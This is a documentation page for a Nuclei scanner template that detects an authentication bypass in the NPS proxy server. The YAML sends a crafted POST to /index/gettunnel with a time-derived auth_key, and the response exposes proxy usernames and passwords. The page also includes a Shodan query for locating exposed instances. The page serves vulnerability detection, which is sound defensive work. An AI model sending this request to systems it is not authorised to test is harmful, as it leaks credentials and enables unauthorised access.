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Nuclei Templates

NPS - Authentication Bypass

ID: nps-auth-bypass

Severity: high

Author: SleepingBag945

Tags: nps,auth-bypass

Description

Section titled “Description”

This will reveal all parameters configured on the NPS, including the account username and password of the proxy.

YAML Source

Section titled “YAML Source”
id: nps-auth-bypass


info:
  name: NPS - Authentication Bypass
  author: SleepingBag945
  severity: high
  description: |
    This will reveal all parameters configured on the NPS, including the account username and password of the proxy.
  reference:
    - https://mari0er.club/post/nps.html/
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"window.nps"
  tags: nps,auth-bypass


http:
  - raw:
      - |
        POST /index/gettunnel HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        auth_key={{md5(unix_time())}}&timestamp={{unix_time()}}&offset=0&limit=10&type=socks5&client_id=&search=


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"VerifyKey":'
          - 'Password":'
          - 'Id":'
        condition: and


      - type: word
        part: header
        words:
          - "application/json"


      - type: status
        status:
          - 200
# digest: 4a0a004730450221009b57a031d7ef0e174a757484d714d12af801e6828d9d7a17ec8d4cc404ffb77a022033a7f62b9e896d0d1a123466ff6dd9adb07a0fe61ec391869cb5d583e86e159d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/nps/nps-auth-bypass.yaml"

View on Github